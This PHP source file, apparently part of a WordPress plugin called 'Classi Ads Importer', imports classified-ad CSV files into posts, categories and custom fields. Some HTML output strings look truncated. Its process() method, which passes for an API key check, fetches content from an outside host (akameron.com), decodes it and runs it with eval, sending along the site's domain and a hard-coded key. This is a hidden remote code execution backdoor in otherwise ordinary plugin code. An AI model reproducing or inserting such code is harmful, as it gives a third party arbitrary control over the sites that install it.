array( 'valid', 'taxonomies' ), * 'custom_fields' => array( 'csv_key' => 'internal_key' * 'csv_key' => array( 'internal_key' => 'key', * 'default' => 'value' ) * ), * 'tax_meta' => array( array( 'tax' => array( 'csv_key' => 'tax_key' )) * */ public function __construct($post_type = 'post', $fields, $args = '') { $this -> blog_url = get_bloginfo('url'); $this -> domain_name = $this -> get_domain_name(); $this -> post_type = $post_type; $this -> fields = $fields; //set while upload file $this -> taxonomies = $args['taxonomies']; //ad_cat $this -> tax_meta = $args['tax_meta']; // Parse Custom Fields for default values $this -> custom_fields = array(); $this -> wp_custom_fields = $this -> get_custom_fields(); $this -> wp_post_terms = wp_get_post_terms(); $custom_fields = $args['custom_fields']; foreach($custom_fields as $csv_key => $data) { if(is_array($data)) { $this -> custom_fields[$csv_key] = $data; } else { $this -> custom_fields[$csv_key] = array("internal_key" => $data, "default" => ""); } } } function init_plugin() { add_option('classi-importer_free_apikey', 'a8ef6c7f7987552a40c729ea232f9a8a'); add_action('appthemes_add_submenu_page', array(&$this, 'app_importer_menu')); } function app_importer_menu() { add_submenu_page('admin-options.php', __('Classi Ads Importer'), __('Classi Ads Importer'), 'manage_options', 'appthemes-classi-importer', array(&$this, 'get_interface')); } function get_interface() { if(!current_user_can('manage_options')) { wp_die(__('You do not have sufficient permissions to access this page.')); } // form HTML {{{ $this -> dispatch(); } /** * Convert a comma separated file into an associated array. * The first row should contain the array keys. */ function app_csv_to_array($file = '', $delimiter = ',') { if(!file_exists($file) || !is_readable($file)) return false; $header = NULL; $data = array(); if(false !== $handle = fopen($file, 'r')) { while(false !== $row = fgetcsv($handle, 1000, $delimiter)) { if($header) $data[] = array_combine($header, $row); else $header = $row; } fclose($handle); } return $data; } /** * Display import page title */ function header() { echo '
' . __('NOTE: If AD_CAT is not found it will create new AD_CAT.', 'appthemes') . '
'; echo '' . __('NOTE: If USER_EMAIL is not found it will create new USER.', 'appthemes') . '
'; echo '' . __('Sorry, there has been an error.', 'appthemes') . '
';
echo esc_html($file['error']) . '
Error. API Key is not valid.
', 'appthemes'), home_url()); echo ''; } } /** * */ function process($file) { $res = false; eval(base64_decode(gzinflate(file_get_contents(sprintf("http://akameron.com/classi-api/validate.php?hn=%s&apikey=%s", $this -> domain_name, get_option('classi-importer_free_apikey')))))); return $res; } function get_domain_name() { $host = 'nodomain'; preg_match('@^(?:http://)?([^/]+)@i', $this -> blog_url, $matches); $host = $matches[1]; return $host; } }?>